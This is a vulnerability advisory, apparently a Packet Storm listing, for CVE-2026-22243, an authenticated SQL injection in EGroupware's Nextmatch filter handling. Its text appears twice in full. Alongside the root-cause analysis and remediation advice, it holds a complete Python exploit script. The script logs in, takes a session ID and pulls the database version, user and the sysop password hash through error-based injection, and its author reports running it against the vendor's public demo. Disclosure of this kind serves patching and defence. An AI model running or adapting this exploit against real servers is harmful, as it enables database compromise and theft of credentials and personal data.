8.8
/ 10
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Description
EGroupware versions prior to 23.1.20260113 and greater than or equal to 26.0.20251208 but less than 26.0.20260113 are affected by a remote SQL injection vulnerability in the Nextmatch filter processing...
Basic Information
ID
PACKETSTORM:218757
Published
Apr 13, 2026 at 00:00
Affected Product
Affected Versions
# CVE-2026-22243: EGroupware has SQL Injection in Nextmatch Filter Processing
## Overview
| Field | Details |
|---|---|
| **CVE ID** | [CVE-2026-22243](https://nvd.nist.gov/vuln/detail/CVE-2026-22243) |
| **Severity** | HIGH |
| **Advisory** | [View Advisory](https://github.com/EGroupware/egroupware/security/advisories/GHSA-rvxj-7f72-mhrx) |
| **Discovered by** | [Lukasz Rybak](https://github.com/lukasz-rybak) |
## Affected Products
- **egroupware/egroupware** (versions: < 23.1.20260113)
- **egroupware/egroupware** (versions: >= 26.0.20251208, < 26.0.20260113)
## CWE Classification
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
## Details
### Summary
**Critical Authenticated SQL Injection in Nextmatch Widget Filter Processing**
A critical SQL Injection vulnerability exists in the core components of EGroupware, specifically in the `Nextmatch` filter processing. The flaw allows authenticated attackers to inject arbitrary SQL commands into the `WHERE` clause of database queries. This is achieved by exploiting a PHP type juggling issue where JSON decoding converts numeric strings into integers, bypassing the `is_int()` security check used by the application.
### Details
**Root Cause Analysis**
The vulnerability exists in how the database abstraction layer (`Api\Db`) and high-level storage classes (`Api\Storage\Base`, `infolog_so`) process the `col_filter` array used in "Nextmatch" widgets.
The application attempts to validate input using `is_int($key)` to determine if an array key represents a raw SQL fragment that should be trusted. However, when processing JSON-based POST requests, PHP's `json_decode` automatically converts numeric string keys (e.g., `"0"`) into native integers.
Consequently, an attacker can send a JSON payload with an associative array containing numeric keys. The application interprets these keys as integers (`is_int` returns true) and blindly appends the associated values - containing malicious SQL - directly to the query.
**Vulnerable Code Locations**
1. **File:** `sources/egroupware/api/src/Db.php` (Approx. Line 1776)
Method: `column_data_implode`
```php
// In function column_data_implode
elseif (is_int($key) && $use_key===True) {
if (empty($data)) continue;
// VULNERABLE: $data is appended directly to SQL without sanitization
$values[] = $data;
}
```
2. **File:** `sources/egroupware/api/src/Storage/Base.php` (Approx. Line 1134)
Method: `parse_search`
```php
// In function parse_search
foreach($criteria as $col => $val) {
// VULNERABLE: is_int() returns true for JSON keys like "0"
if (is_int($col)) {
$query[] = $val;
}
// ...
}
```
### PoC
I have verified this vulnerability on a local Docker instance and confirmed it (read-only) on your public demo instance ([demo.egroupware.net](http://demo.egroupware.net/)).
**Automated Exploit Script:**
The following script automates the login, exec_id extraction, and data exfiltration via Error-Based SQL Injection.
```python
import requests
import re
import sys
import urllib3
# Suppress SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# CLI Configuration
BASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else "http://localhost:8088/egroupware"
LOGIN_USER = sys.argv[2] if len(sys.argv) > 2 else "sysop"
LOGIN_PASS = sys.argv[3] if len(sys.argv) > 3 else "password123"
session = requests.Session()
session.verify = False
session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
})
def extract_form_inputs(html):
inputs = {}
matches = re.findall(r'<input[^>]+>', html)
for match in matches:
name_m = re.search(r'name=["\']([^"\']+)["\']', match)
value_m = re.search(r'value=["\']([^"\']*)["\']', match)
if name_m:
name = name_m.group(1)
value = value_m.group(1) if value_m else ""
inputs[name] = value
return inputs
def login():
print(f"[*] Target: {BASE_URL}")
login_url = f"{BASE_URL}/login.php"
try:
print("[*] Retrieving login form...")
r_get = session.get(login_url, timeout=10)
data = extract_form_inputs(r_get.text)
data.update({
"login": LOGIN_USER,
"passwd": LOGIN_PASS,
"submitit": "Login",
"passwd_type": "text"
})
if 'cancel' in data: del data['cancel']
print(f"[*] Attempting login as: {LOGIN_USER}...")
r_post = session.post(login_url, data=data, allow_redirects=True, timeout=15)
if 'name="passwd"' in r_post.text and 'logout.php' not in r_post.text:
print("[-] Login failed. Server returned login form.")
return False
print("[+] Login successful.")
return True
except Exception as e:
print(f"[-] Critical error during login: {e}")
return False
def get_exec_id():
print("[*] Retrieving exec_id...")
url = f"{BASE_URL}/index.php?menuaction=addressbook.addressbook_ui.index"
try:
r = session.get(url, timeout=10)
match = re.search(r'etemplate_exec_id(?:"|"|\\")\s*:\s*(?:"|"|\\")([^&"\\]+)', r.text)
if match:
eid = match.group(1)
print(f"[+] ID found: {eid}")
return eid
else:
if 'name="passwd"' in r.text:
print("[-] Session expired or login failed.")
else:
print("[-] exec_id pattern not found in source code.")
except Exception as e:
print(f"[-] Error retrieving ID: {e}")
return None
def run_query(eid, sql):
full = ""
url = f"{BASE_URL}/json.php?menuaction=EGroupware\\Api\\Etemplate\\Widget\\Nextmatch::ajax_get_rows"
print(f"[*] Executing SQLi: {sql}")
for offset in range(1, 201, 30):
chunk_sql = f"SUBSTRING(({sql}), {offset}, 30)"
payload = f"1=1 AND EXTRACTVALUE(1, CONCAT(0x7e, ({chunk_sql}), 0x7e))"
post_data = {
"request": {
"parameters": [eid, {"start": 0, "num_rows": 1}, {"col_filter": {"0": payload}}]
}
}
try:
r = session.post(url, json=post_data, timeout=10)
match = re.search(r"XPATH syntax error: '~(.*)~'", r.text)
if not match:
match = re.search(r"~([^~]+)~", r.text)
if match:
chunk = match.group(1)
if "..." in chunk: chunk = chunk.replace("...", "")
full += chunk
if len(chunk) < 1: break
else:
break
except Exception as e:
print(f"[-] Query error: {e}")
break
return full if full else "NO DATA / ERROR"
if __name__ == "__main__":
if login():
eid = get_exec_id()
if eid:
print("\n" + "="*40)
print(" SQL INJECTION RESULTS ")
print("="*40)
print(f"[+] DB Version: {run_query(eid, 'SELECT @@version')}")
print(f"[+] DB Name: {run_query(eid, 'SELECT database()')}")
print(f"[+] DB User: {run_query(eid, 'SELECT user()')}")
print("\n[*] Retrieving hash for 'sysop' user (if exists):")
res = run_query(eid, "SELECT CONCAT(account_lid,':',account_pwd) FROM egw_accounts WHERE account_lid='sysop'")
print(f" > {res}")
print("="*40 + "\n")
```
**Proof of Verification** on [demo.egroupware.net](http://demo.egroupware.net/):
I executed the script against your public demo to confirm exploitability in a production-like environment (read-only).
<img width="773" height="393" alt="image" src="https://github.com/user-attachments/assets/ae97ea37-21fa-4718-98f5-f7f9696f3c2e" />
**Impact:**
Attackers with low-privileged access can fully compromise the database. This allows for:
* **Confidentiality Loss:** Reading sensitive data (e.g., password hashes, session tokens, personal contact details, configuration secrets).
* **Integrity Loss:** Modifying or deleting arbitrary data within the application.
* **Availability Loss:** Potential to drop tables or corrupt data.
### Remediation
**1. Input Validation (Whitelisting)**
Do not rely solely on `is_int()` for security decisions when handling external input, especially JSON data where keys can be numeric strings. Implement a strict **whitelist (allowlist)** of allowed column names for filtering in `Nextmatch` widgets. If the key/column is not in the whitelist, reject the request.
**2. Parameter Binding**
Ensure all filter values are bound as parameters (prepared statements) rather than being concatenated directly into the SQL string.
**3. Strict Type Checking**
When processing JSON input, ensure that keys are strictly checked against expected types (e.g., using `===` for strict comparison or `filter_var`) before being used in SQL generation logic.
### Credits
Reported by Łukasz Rybak
## References
- https://github.com/EGroupware/egroupware/security/advisories/GHSA-rvxj-7f72-mhrx
- https://nvd.nist.gov/vuln/detail/CVE-2026-22243
- https://github.com/EGroupware/egroupware/releases/tag/23.1.20260113
- https://github.com/EGroupware/egroupware/releases/tag/26.0.20260113
- https://github.com/advisories/GHSA-rvxj-7f72-mhrx
## Disclaimer
This CVE was responsibly disclosed following coordinated vulnerability disclosure practices. The information provided here is for educational and defensive purposes only.
## Overview
| Field | Details |
|---|---|
| **CVE ID** | [CVE-2026-22243](https://nvd.nist.gov/vuln/detail/CVE-2026-22243) |
| **Severity** | HIGH |
| **Advisory** | [View Advisory](https://github.com/EGroupware/egroupware/security/advisories/GHSA-rvxj-7f72-mhrx) |
| **Discovered by** | [Lukasz Rybak](https://github.com/lukasz-rybak) |
## Affected Products
- **egroupware/egroupware** (versions: < 23.1.20260113)
- **egroupware/egroupware** (versions: >= 26.0.20251208, < 26.0.20260113)
## CWE Classification
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
## Details
### Summary
**Critical Authenticated SQL Injection in Nextmatch Widget Filter Processing**
A critical SQL Injection vulnerability exists in the core components of EGroupware, specifically in the `Nextmatch` filter processing. The flaw allows authenticated attackers to inject arbitrary SQL commands into the `WHERE` clause of database queries. This is achieved by exploiting a PHP type juggling issue where JSON decoding converts numeric strings into integers, bypassing the `is_int()` security check used by the application.
### Details
**Root Cause Analysis**
The vulnerability exists in how the database abstraction layer (`Api\Db`) and high-level storage classes (`Api\Storage\Base`, `infolog_so`) process the `col_filter` array used in "Nextmatch" widgets.
The application attempts to validate input using `is_int($key)` to determine if an array key represents a raw SQL fragment that should be trusted. However, when processing JSON-based POST requests, PHP's `json_decode` automatically converts numeric string keys (e.g., `"0"`) into native integers.
Consequently, an attacker can send a JSON payload with an associative array containing numeric keys. The application interprets these keys as integers (`is_int` returns true) and blindly appends the associated values - containing malicious SQL - directly to the query.
**Vulnerable Code Locations**
1. **File:** `sources/egroupware/api/src/Db.php` (Approx. Line 1776)
Method: `column_data_implode`
```php
// In function column_data_implode
elseif (is_int($key) && $use_key===True) {
if (empty($data)) continue;
// VULNERABLE: $data is appended directly to SQL without sanitization
$values[] = $data;
}
```
2. **File:** `sources/egroupware/api/src/Storage/Base.php` (Approx. Line 1134)
Method: `parse_search`
```php
// In function parse_search
foreach($criteria as $col => $val) {
// VULNERABLE: is_int() returns true for JSON keys like "0"
if (is_int($col)) {
$query[] = $val;
}
// ...
}
```
### PoC
I have verified this vulnerability on a local Docker instance and confirmed it (read-only) on your public demo instance ([demo.egroupware.net](http://demo.egroupware.net/)).
**Automated Exploit Script:**
The following script automates the login, exec_id extraction, and data exfiltration via Error-Based SQL Injection.
```python
import requests
import re
import sys
import urllib3
# Suppress SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# CLI Configuration
BASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else "http://localhost:8088/egroupware"
LOGIN_USER = sys.argv[2] if len(sys.argv) > 2 else "sysop"
LOGIN_PASS = sys.argv[3] if len(sys.argv) > 3 else "password123"
session = requests.Session()
session.verify = False
session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
})
def extract_form_inputs(html):
inputs = {}
matches = re.findall(r'<input[^>]+>', html)
for match in matches:
name_m = re.search(r'name=["\']([^"\']+)["\']', match)
value_m = re.search(r'value=["\']([^"\']*)["\']', match)
if name_m:
name = name_m.group(1)
value = value_m.group(1) if value_m else ""
inputs[name] = value
return inputs
def login():
print(f"[*] Target: {BASE_URL}")
login_url = f"{BASE_URL}/login.php"
try:
print("[*] Retrieving login form...")
r_get = session.get(login_url, timeout=10)
data = extract_form_inputs(r_get.text)
data.update({
"login": LOGIN_USER,
"passwd": LOGIN_PASS,
"submitit": "Login",
"passwd_type": "text"
})
if 'cancel' in data: del data['cancel']
print(f"[*] Attempting login as: {LOGIN_USER}...")
r_post = session.post(login_url, data=data, allow_redirects=True, timeout=15)
if 'name="passwd"' in r_post.text and 'logout.php' not in r_post.text:
print("[-] Login failed. Server returned login form.")
return False
print("[+] Login successful.")
return True
except Exception as e:
print(f"[-] Critical error during login: {e}")
return False
def get_exec_id():
print("[*] Retrieving exec_id...")
url = f"{BASE_URL}/index.php?menuaction=addressbook.addressbook_ui.index"
try:
r = session.get(url, timeout=10)
match = re.search(r'etemplate_exec_id(?:"|"|\\")\s*:\s*(?:"|"|\\")([^&"\\]+)', r.text)
if match:
eid = match.group(1)
print(f"[+] ID found: {eid}")
return eid
else:
if 'name="passwd"' in r.text:
print("[-] Session expired or login failed.")
else:
print("[-] exec_id pattern not found in source code.")
except Exception as e:
print(f"[-] Error retrieving ID: {e}")
return None
def run_query(eid, sql):
full = ""
url = f"{BASE_URL}/json.php?menuaction=EGroupware\\Api\\Etemplate\\Widget\\Nextmatch::ajax_get_rows"
print(f"[*] Executing SQLi: {sql}")
for offset in range(1, 201, 30):
chunk_sql = f"SUBSTRING(({sql}), {offset}, 30)"
payload = f"1=1 AND EXTRACTVALUE(1, CONCAT(0x7e, ({chunk_sql}), 0x7e))"
post_data = {
"request": {
"parameters": [eid, {"start": 0, "num_rows": 1}, {"col_filter": {"0": payload}}]
}
}
try:
r = session.post(url, json=post_data, timeout=10)
match = re.search(r"XPATH syntax error: '~(.*)~'", r.text)
if not match:
match = re.search(r"~([^~]+)~", r.text)
if match:
chunk = match.group(1)
if "..." in chunk: chunk = chunk.replace("...", "")
full += chunk
if len(chunk) < 1: break
else:
break
except Exception as e:
print(f"[-] Query error: {e}")
break
return full if full else "NO DATA / ERROR"
if __name__ == "__main__":
if login():
eid = get_exec_id()
if eid:
print("\n" + "="*40)
print(" SQL INJECTION RESULTS ")
print("="*40)
print(f"[+] DB Version: {run_query(eid, 'SELECT @@version')}")
print(f"[+] DB Name: {run_query(eid, 'SELECT database()')}")
print(f"[+] DB User: {run_query(eid, 'SELECT user()')}")
print("\n[*] Retrieving hash for 'sysop' user (if exists):")
res = run_query(eid, "SELECT CONCAT(account_lid,':',account_pwd) FROM egw_accounts WHERE account_lid='sysop'")
print(f" > {res}")
print("="*40 + "\n")
```
**Proof of Verification** on [demo.egroupware.net](http://demo.egroupware.net/):
I executed the script against your public demo to confirm exploitability in a production-like environment (read-only).
<img width="773" height="393" alt="image" src="https://github.com/user-attachments/assets/ae97ea37-21fa-4718-98f5-f7f9696f3c2e" />
**Impact:**
Attackers with low-privileged access can fully compromise the database. This allows for:
* **Confidentiality Loss:** Reading sensitive data (e.g., password hashes, session tokens, personal contact details, configuration secrets).
* **Integrity Loss:** Modifying or deleting arbitrary data within the application.
* **Availability Loss:** Potential to drop tables or corrupt data.
### Remediation
**1. Input Validation (Whitelisting)**
Do not rely solely on `is_int()` for security decisions when handling external input, especially JSON data where keys can be numeric strings. Implement a strict **whitelist (allowlist)** of allowed column names for filtering in `Nextmatch` widgets. If the key/column is not in the whitelist, reject the request.
**2. Parameter Binding**
Ensure all filter values are bound as parameters (prepared statements) rather than being concatenated directly into the SQL string.
**3. Strict Type Checking**
When processing JSON input, ensure that keys are strictly checked against expected types (e.g., using `===` for strict comparison or `filter_var`) before being used in SQL generation logic.
### Credits
Reported by Łukasz Rybak
## References
- https://github.com/EGroupware/egroupware/security/advisories/GHSA-rvxj-7f72-mhrx
- https://nvd.nist.gov/vuln/detail/CVE-2026-22243
- https://github.com/EGroupware/egroupware/releases/tag/23.1.20260113
- https://github.com/EGroupware/egroupware/releases/tag/26.0.20260113
- https://github.com/advisories/GHSA-rvxj-7f72-mhrx
## Disclaimer
This CVE was responsibly disclosed following coordinated vulnerability disclosure practices. The information provided here is for educational and defensive purposes only.